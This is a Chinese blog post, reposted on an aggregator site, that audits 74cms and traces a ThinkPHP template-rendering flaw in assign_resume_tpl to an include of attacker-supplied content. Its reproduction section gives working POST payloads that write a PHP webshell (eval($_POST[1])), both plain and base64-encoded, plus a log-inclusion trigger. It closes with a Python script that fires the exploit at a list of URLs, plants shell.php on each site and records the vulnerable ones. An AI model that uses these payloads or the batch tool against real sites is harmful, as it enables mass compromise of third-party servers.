首页 > 编程语言 >php代码审计学习----骑士cms代码审计

php代码审计学习----骑士cms代码审计

时间：2023-10-27 18:45:21浏览次数：48  
标签：审计 return 代码 ---- prefix tmplContent file templateFile 模板

php代码审计学习----骑士cms代码审计

源码下载

https://github.com/Betsy0/CMSVulSource

环境搭建

删掉data里的install.lock
然后把源码放在phpstudy的网站目录下
访问http://xxx/74cms/install.php
使用phpstorm调试

使用seay进行辅助代码审计(主要phpstorm不知为什么总是无法进入方法)

前置知识

thinkphp3.2.3标准url:
http://xxx/index.php/模块/控制器/操作
其中
模块(method)为m=xxx
控制器(control)为c=xxx
操作为(action)为a=xxx

代码审计

官网公告
http://www.74cms.com/news/show-2497.html
1.通过这个地方得出有问题的函数是assign_resume_tpl

2.seay全局搜索这个函数

    /**
     * 渲染简历模板
     */
    public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);
    }
}

现在又有assign和fetch两个函数,同时根据注释发现是渲染简历模板处出现了漏洞
3.assign没啥东西


4.fetch函数(通过注释,模板排除其他的fetch函数)

/**
     * 解析和获取模板内容 用于输出
     * @access public
     * @param string $templateFile 模板文件名
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀
     * @return string
     */
    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

    /**
     * 自动定位模板文件
     * @access protected
     * @param string $template 模板文件规则
     * @return string
     */
    public function parseTemplate($template='') {
        if(is_file($template)) {
            return $template;
        }
        $depr       =   C('TMPL_FILE_DEPR');
        $template   =   str_replace(':', $depr, $template);

        // 获取当前模块
        $module   =  MODULE_NAME;
        if(strpos($template,'@')){ // 跨模块调用模版文件
            list($module,$template)  =   explode('@',$template);
        }
        // 获取当前主题的模版路径
        defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath($module));

        // 分析模板文件规则
        if('' == $template) {
            // 如果模板文件名为空 按照默认规则定位
            $template = CONTROLLER_NAME . $depr . ACTION_NAME;
        }elseif(false === strpos($template, $depr)){
            $template = CONTROLLER_NAME . $depr . $template;
        }
        $file   =   THEME_PATH.$template.C('TMPL_TEMPLATE_SUFFIX');
        if(C('TMPL_LOAD_DEFAULTTHEME') && THEME_NAME != C('DEFAULT_THEME') && !is_file($file)){
            // 找不到当前主题模板的时候定位默认主题中的模板
            $file   =   dirname(THEME_PATH).'/'.C('DEFAULT_THEME').'/'.$template.C('TMPL_TEMPLATE_SUFFIX');
        }
        return $file;
    }

另一个类

/**
 * ThinkPHP内置模板引擎类
 * 支持XML标签和普通标签的模板解析
 * 编译型模板引擎 支持动态缓存
 */
class  Template {
...
    /**
     * 加载模板
     * @access public
     * @param string $templateFile 模板文件
     * @param array  $templateVar 模板变量
     * @param string $prefix 模板标识前缀
     * @return void
     */
    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar;
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }
...
    public function loadTemplate ($templateFile,$prefix='') {
        if(is_file($templateFile)) {
            $this->templateFile    =  $templateFile;
            // 读取模板文件内容
            $tmplContent =  file_get_contents($templateFile);
        }else{
            $tmplContent =  $templateFile;
        }
         // 根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

        // 判断是否启用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替换布局的主体内容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
                // 检查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
        }
        // 编译模板内容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
        return $tmplCacheFile;
    }

    /**
     * 编译模板文件内容
     * @access protected
     * @param mixed $tmplContent 模板内容
     * @return string
     */
    protected function compiler($tmplContent) {
        //模板解析
        $tmplContent =  $this->parse($tmplContent);
        // 还原被替换的Literal标签
        $tmplContent =  preg_replace_callback('/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
        // 添加安全代码
        $tmplContent =  '<?php if (!defined(\'THINK_PATH\')) exit();?>'.$tmplContent;
        // 优化生成的php代码
        $tmplContent = str_replace('?><?php','',$tmplContent);
        // 模版编译过滤标签
        Hook::listen('template_filter',$tmplContent);
        return strip_whitespace($tmplContent);
    }
...

5.追踪Hook类

最下面有一个exec

 static public function exec($name, $tag,&$params=NULL) {
        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $tag    =   'run';
        }
        $addon   = new $name();
        return $addon->$tag($params);
    }

6.追踪run入口方法
通过搜索run方法和注释内容确定

/**
 * 系统行为扩展：模板解析
 */
class ParseTemplateBehavior {

    // 行为扩展的执行入口必须是run
    public function run(&$_data){
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix'])) 
                ||  $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
                //载入模版缓存文件
                Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
            }else{
                $tpl = Think::instance('Think\\Template');
                // 编译并加载模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 调用第三方模板引擎解析和输出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class   =  'Think\\Template\\Driver\\'.ucwords($engine);                
            }            
            if(class_exists($class)) {
                $tpl   =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 类没有定义
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
        }
    }

    /**
     * 检查缓存文件是否有效
     * 如果无效则需要重新编译
     * @access public
     * @param string $tmplTemplateFile  模板文件名
     * @return boolean
     */
    protected function checkCache($tmplTemplateFile,$prefix='') {
        if (!C('TMPL_CACHE_ON')) // 优先对配置设定检测
            return false;
        $tmplCacheFile = C('CACHE_PATH').$prefix.md5($tmplTemplateFile).C('TMPL_CACHFILE_SUFFIX');
        if(!Storage::has($tmplCacheFile)){
            return false;
        }elseif (filemtime($tmplTemplateFile) > Storage::get($tmplCacheFile,'mtime')) {
            // 模板文件如果有更新则缓存需要更新
            return false;
        }elseif (C('TMPL_CACHE_TIME') != 0 && time() > Storage::get($tmplCacheFile,'mtime')+C('TMPL_CACHE_TIME')) {
            // 缓存是否在有效期
            return false;
        }
        // 开启布局模板
        if(C('LAYOUT_ON')) {
            $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').C('TMPL_TEMPLATE_SUFFIX');
            if(filemtime($layoutFile) > Storage::get($tmplCacheFile,'mtime')) {
                return false;
            }
        }
        // 缓存有效
        return true;
    }

    /**
     * 检查缓存内容是否有效
     * 如果无效则需要重新编译
     * @access public
     * @param string $tmplContent  模板内容
     * @return boolean
     */
    protected function checkContentCache($tmplContent,$prefix='') {
        if(Storage::has(C('CACHE_PATH').$prefix.md5($tmplContent).C('TMPL_CACHFILE_SUFFIX'))){
            return true;
        }else{
            return false;
        }
    }    
}

7.然后根据fetch回到刚开始第一步的Template类

/**
 * ThinkPHP内置模板引擎类
 * 支持XML标签和普通标签的模板解析
 * 编译型模板引擎 支持动态缓存
 */
class  Template {
...
    /**
     * 加载模板
     * @access public
     * @param string $templateFile 模板文件
     * @param array  $templateVar 模板变量
     * @param string $prefix 模板标识前缀
     * @return void
     */
    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar;
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }
...
    public function loadTemplate ($templateFile,$prefix='') {
        if(is_file($templateFile)) {
            $this->templateFile    =  $templateFile;
            // 读取模板文件内容
            $tmplContent =  file_get_contents($templateFile);
        }else{
            $tmplContent =  $templateFile;
        }
         // 根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

        // 判断是否启用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替换布局的主体内容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
                // 检查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
        }
        // 编译模板内容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
        return $tmplCacheFile;
    }

    /**
     * 编译模板文件内容
     * @access protected
     * @param mixed $tmplContent 模板内容
     * @return string
     */
    protected function compiler($tmplContent) {
        //模板解析
        $tmplContent =  $this->parse($tmplContent);
        // 还原被替换的Literal标签
        $tmplContent =  preg_replace_callback('/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
        // 添加安全代码
        $tmplContent =  '<?php if (!defined(\'THINK_PATH\')) exit();?>'.$tmplContent;
        // 优化生成的php代码
        $tmplContent = str_replace('?><?php','',$tmplContent);
        // 模版编译过滤标签
        Hook::listen('template_filter',$tmplContent);
        return strip_whitespace($tmplContent);
    }
...

fetch接受了$templateFile,$templateVar
然后$templateFile进入到loadTemplate中,返回结果赋给$templateCacheFile
然后再用Storage::load处理$templateCacheFile
查看loadTemplate方法

$tmplContent =  $this->compiler($tmplContent);

又经过compiler方法处理
传入的变量没有经过过滤就拼接上去了
8.最终罪魁祸首

    /**
     * 加载文件
     * @access public
     * @param string $filename  文件名
     * @param array $vars  传入变量
     * @return void        
     */
    public function load($_filename,$vars=null){
        if(!is_null($vars)){
            extract($vars, EXTR_OVERWRITE);
        }
        include $_filename;
    }

9.漏洞复现
传入参数可以通过assign_resume_tpl方法来判断是传入variable,tpl参数(如果是linux系统需要在$_POST的$前填上反斜杠)
模板可以随便复制一句话

get:http://xxx/index.php?m=home&a=assign_resume_tpl
post:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php phpinfo();eval(\$_POST[1]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

或者base64加密

<?php phpinfo();eval($_POST[1]);?>

发送

post:variable=1&tpl=<?php fputs(fopen("shell.php","w"),base64_decode("PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg=="))?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

然后可以包含日志,其中日志名字为今天日期

get:http://xxx/index.php?m=home&a=assign_resume_tpl
post:variable=1&tpl=data/Runtime/Logs/Home/23_10_27.log


python批量挖掘学习

# -*- coding: utf-8 -*-
import requests
import warnings
from urllib3.exceptions import InsecureRequestWarning
import argparse
import datetime

warnings.filterwarnings("ignore",category=InsecureRequestWarning)

headers = {
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Sec-Fetch-Dest': 'document',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Sec-Fetch-Site': 'none',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '?1',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7'
}

data1={
    'variable':'1',
    'tpl':'<?php fputs(fopen("shell.php","w"),base64_decode("PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg=="))?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET[\'id\']"/>'
    }
  
logfile=str(datetime.datetime.now())[2:10].replace('-','_')+'.log'
  
data2={
    'variable':'1',
    'tpl':'data/Runtime/Logs/Home/'+logfile
}

parser = argparse.ArgumentParser(description='骑士CMS 批量POC')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
    with open('{}'.format(file),'r',encoding='utf-8') as f:
        for i in f:
            i = i.replace('\n','')
            send_req(i)
def write_result(content):
    f = open("result.txt","a",encoding='utf-8')
    f.write('{}\n'.format(content))
    f.close()
def send_req(url_check):
    print('{} runing check'.format(url_check),end=' ')
    response = requests.post(url_check+'index.php?m=home&a=assign_resume_tpl', headers=headers, data=data1,verify=False,timeout=3)
    response2 = requests.post(url_check+'index.php?m=home&a=assign_resume_tpl', headers=headers, data=data2,verify=False,timeout=3)
    try:
        response3 = requests.get(url_check+'/shell.php',headers=headers,verify=False,timeout=3)
        if 'phpinfo' in response3.text:
            r='{} 存在漏洞'.format(url_check)
            print(r)
            write_result(r)
    except Exception as e:
        pass
if __name__=='__main__':
    if file is None:
        print('请在当前目录下新建所需要检测的url.txt')
    else:
        get_url(file)

使用

python3 exp.py -f url.txt

参考文章

https://www.cnblogs.com/r00tuser/p/14028067.html
https://xz.aliyun.com/t/8520

标签：审计,return,代码,----,prefix,tmplContent,file,templateFile,模板
From： https://www.cnblogs.com/thebeastofwar/p/17792970.html

相关文章

  • 动态规划合集
    动态规划笔记目录八种常见动态规划题型序列dp树形dp背包dp区间dp期望dp状态压缩dp数位dp计数dp动态规划优化合集DP技巧与DP杂题数据结构优化dp矩阵快速幂优化dp决策单调性优化dp斜率优化dp......
  • 支持自动生成API文档 Apipost 真香
    在数字化时代，API已经成为了应用程序之间进行通信的关键桥梁。随着API的普及和复杂性的增加，API研发和管理也面临着越来越多的挑战。为了更好地应对这些挑战，Apipost提供了一整套API研发工具，包括API设计、API调试、API文档和API自动化测试等功能。本文将深入介绍Apipost的优势和特点，......
  • 第四章 文件权限
    一、基本权限UGO    权限的意义在于允许某一个用户或某个用户组以规定的方式去访问某个文件。例如，Apache服务进程默认由Apache用户访问，除了root用户以外，其他用户均不能访问相关进程，这样就能通过在文件上设置用户或用户组的访问方式达到限制目的。首先介绍U、G、O这三个字......
  • 42. 接雨水
    链接https://leetcode.cn/problems/trapping-rain-water/description/思路1.在线处理。既然是接雨水，那肯定是形成一个类似于碗的结构才能接。可以先找到一个最大值当兜底，然后不断的用当前border去夹逼。如果遇到比当前border高的，那应该更新border。2.单调栈。跟在线处理思路......
  • 408---CO三轮复习---中央处理器
    重难点总结1、CPU的结构，各种功能部件 ⭐⭐⭐⭐⭐2、指令执行过程、指令执行数据流 ⭐⭐⭐⭐⭐⭐⭐3、控制器的功能和工作原理(硬步线、微程序控制器) ⭐⭐⭐4、流水线 ⭐⭐⭐⭐5、高级流水线技术 ⭐⭐6、多处理器的基本概念 ⭐CPU的结构与功能1、CPU又叫中央处理......
  • Uniapp中弹窗
    Uniapp中弹窗直接上代码uni.showModal({title:'提示',content:'这是一个自定义按钮文字的模态对话框',confirmText:'自定义确定',//自定义确定按钮的文字cancelText:'自定义取消',//自定义取消按钮的文字success......
  • 多媒体基础知识一
    1、媒体的分类--感觉媒体--指直接作用与人的感觉器官，使人产生直接感觉的媒体。如引起听觉反应的声音、引起视觉反应的图像等；--表示媒体--指传输感觉媒体的中介媒体，即用于数据交换的编码，如图像编码、文本编码和声音编码等；--表现媒体--指进行信息输入和信息输出的媒体。如键盘、......
  • vite.config.js配置详解
    import{fileURLToPath,URL}from'node:url'import{defineConfig}from'vite'importvuefrom'@vitejs/plugin-vue' exportdefaultdefineConfig({   //根路径，也就是项目的基础路径   base:'/',   //服务器配置   server:{       /......
  • CentOS提示命令找不到怎么办
    1修改profile/usr/bin/vi/etc/profile加入：exportPATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 2修改.bashrc文件/usr/bin/vi~/.bashrc加入：exportPATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 3立即生......
  • [运维笔记]内网服务器或设备宕机了怎么及时收到通知并处理
    前言此前公司内网的一台服务器运行着六七个各种各样的后台任务，还跑着几个客户端。之后有一天晚上，公司里断电了，服务器也就停了，因为不是关键业务，所以之后几天谁也没发现，直到一周后才发现服务器没在处理。那怎么在服务器宕机时及时知道呢目前的简单办法：无非在服务器上跑个定时任......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99